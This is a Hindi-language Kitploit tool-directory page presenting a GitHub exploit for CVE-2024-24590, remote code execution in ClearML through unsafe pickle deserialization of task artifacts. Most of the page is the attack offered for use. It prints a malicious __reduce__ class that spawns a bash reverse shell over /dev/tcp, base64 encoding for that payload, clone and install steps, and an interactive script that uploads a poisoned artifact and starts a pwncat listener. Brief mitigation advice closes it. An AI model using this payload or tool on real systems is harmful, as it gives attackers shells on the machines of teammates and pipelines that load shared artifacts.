Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोललर्निंग और शिक्षारेड टीमिंगरिमोट एक्सेस टूल

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – ClearML RCE असुरक्षित pickle आर्टिफैक्ट डिसीरियलाइज़ेशन के माध्यम से (0.17.0–1.14.2)

रिपॉजिटरी देखें
6245 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2024-24590 — ClearML Pickle Artifact RCE

अवलोकन

फ़ील्डविवरण
CVECVE-2024-24590
सॉफ्टवेयरClearML
प्रभावित संस्करण0.17.0 – 1.14.2
भेद्यताकार्य कलाकृतियों का असुरक्षित pickle deserialization
प्रमाणीकरणClearML प्रोजेक्ट में लेखन पहुँच आवश्यक
प्रभावकलाकृति लोड करने वाली किसी भी मशीन पर रिमोट कोड निष्पादन
परीक्षण किया गयाUbuntu 22.04, Python 3.9+

विवरण

ClearML एक MLOps प्लेटफ़ॉर्म है जिसका उपयोग प्रयोगों को ट्रैक करने, डेटासेट प्रबंधित करने और टीम के सदस्यों के बीच कलाकृतियों (मॉडल, फ़ाइलें, ऑब्जेक्ट) साझा करने के लिए किया जाता है। जब किसी कार्य कलाकृति को Python ऑब्जेक्ट के रूप में अपलोड किया जाता है, तो ClearML इसे Python के pickle मॉड्यूल का उपयोग करके क्रमबद्ध करता है। जब कोई अन्य उपयोगकर्ता उस कलाकृति को डाउनलोड और लोड करता है, तो ClearML इसे — pickle के साथ — बिना किसी अखंडता सत्यापन या क्लास अनुमति सूची के विपरीत क्रम में लाता है।

साझा ClearML प्रोजेक्ट में लेखन पहुँच वाला हमलावर एक दुर्भावनापूर्ण कलाकृति अपलोड कर सकता है जिसमें एक अधिलिखित __reduce__ विधि होती है। कोई भी टीम सदस्य या स्वचालित पाइपलाइन जो उस कलाकृति को लाता और लोड करता है, deserialization के दौरान हमलावर के पेलोड को निष्पादित करेगा, जिससे उनकी मशीन पर RCE प्राप्त होगी।

तकनीकी विवरण

मूल कारण

Python का pickle मॉड्यूल अविश्वसनीय इनपुट के लिए मौलिक रूप से असुरक्षित है। किसी क्लास पर __reduce__ मैजिक मेथड यह नियंत्रित करता है कि deserialization के दौरान इसका पुनर्निर्माण कैसे किया जाता है — यह कोई भी कॉल करने योग्य और तर्क लौटा सकता है, जिसमें os.system शामिल है:

class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

जब इसे pickled और बाद में unpickled किया जाता है, तो Python ऑब्जेक्ट पुनर्निर्माण के भाग के रूप में os.system(cmd) को कॉल करता है — इससे पहले कि कॉल करने वाले को ऑब्जेक्ट का निरीक्षण करने का कोई मौका मिले।

हमले का प्रवाह

हमलावर (प्रोजेक्ट लेखन पहुँच)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
ClearML सर्वर कलाकृति को pickled बाइनरी ब्लॉब के रूप में संग्रहीत करता है
    │
    ▼
पीड़ित कलाकृति लाता है (स्वचालित पाइपलाइन / मैन्युअल समीक्षा)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ सक्रिय → os.system(रिवर्स_शेल_कमांड)
    │
    ▼
रिवर्स शेल हमलावर से वापस जुड़ता है

पेलोड एन्कोडिंग

रिवर्स शेल कमांड को एम्बेड करने से पहले शेल कोटिंग समस्याओं से बचने के लिए Base64-एन्कोडेड किया जाता है:

bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

पूर्वापेक्षाएँ

  • लक्ष्य सर्वर पर कम से कम एक प्रोजेक्ट में लेखन पहुँच वाला ClearML खाता
  • पीड़ित को कलाकृति deserialize करनी होगी (ClearML SDK के माध्यम से इसे लाना होगा)

स्थापना

git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

आवश्यकताएँ: clearml, pwntools, colorama

उपयोग

python3 exploit.py

इंटरैक्टिव मेनू दो चरणों के माध्यम से चलता है:

चरण 1 — ClearML प्रारंभ करें (option 1)

लक्ष्य ClearML सर्वर के लिए क्रेडेंशियल्स कॉन्फ़िगर करने के लिए clearml-init चलाता है। पहले किसी मौजूदा ~/clearml.conf का बैकअप लेता है।

चरण 2 — एक्सप्लॉइट चलाएँ (option 2)

इसके लिए संकेत:

  • आपका लिसनर IP
  • आपका लिसनर पोर्ट
  • लक्ष्य प्रोजेक्ट का नाम (केस-सेंसिटिव — ऐसा प्रोजेक्ट होना चाहिए जिसमें आपके पास लेखन पहुँच हो)

वैकल्पिक रूप से कलाकृति अपलोड करने से पहले स्वचालित रूप से pwncat लिसनर शुरू करता है।

screenshot

शमन

  • ClearML ≥ 1.14.3 में अपग्रेड करें जो कलाकृति deserialization को प्रतिबंधित करता है
  • प्रोजेक्ट एक्सेस नियंत्रण का ऑडिट करें — केवल विश्वसनीय उपयोगकर्ताओं तक लेखन पहुँच सीमित करें
  • पुराने संस्करणों का उपयोग करने पर ClearML कलाकृति संग्रहण को अविश्वसनीय कोड निष्पादन सतह के रूप में मानें

संदर्भ

  • NVD प्रविष्टि
  • ClearML GitHub
  • Python pickle सुरक्षा चेतावनी
टूल डाउनलोड करें